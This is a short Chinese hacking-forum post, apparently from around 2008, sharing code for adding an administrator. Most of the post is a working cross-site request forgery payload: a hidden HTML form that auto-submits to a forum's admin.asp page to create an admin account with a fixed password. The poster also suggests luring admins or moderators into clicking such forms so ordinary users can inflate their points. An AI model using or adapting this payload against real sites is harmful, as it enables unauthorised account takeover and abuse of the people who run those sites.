奔奔兔

加管理员的代码
<form action="http://127.0.0.1/Admin/admin.asp?action=savenew" method=post name=h>
<input type=hidden name="username2" value=fhod>
<input type=hidden name="password2" value=123456>
<input type=hidden name="username1" value=fhod>
</form>
<script language=JavaScript>
document.h.submit();
</script>
这样就足够了..
这些在我那个动网刷分的漏洞里提起过
可以看一下
http://www.eviloctal.com/forum/read.php?tid=17194&fpage=1
而且我也有想过来做个表单.让管理员或版主去点..达到普通用户刷分的目的.

帖子899 精华16 积分6857 阅读权限150 性别男 在线时间534 小时 注册时间2004-12-6 最后登录2008-7-18 查看个人网站
查看详细资料TOP 让女孩一夜变的更有女人味

h4k_b4n[BCT]
荣誉会员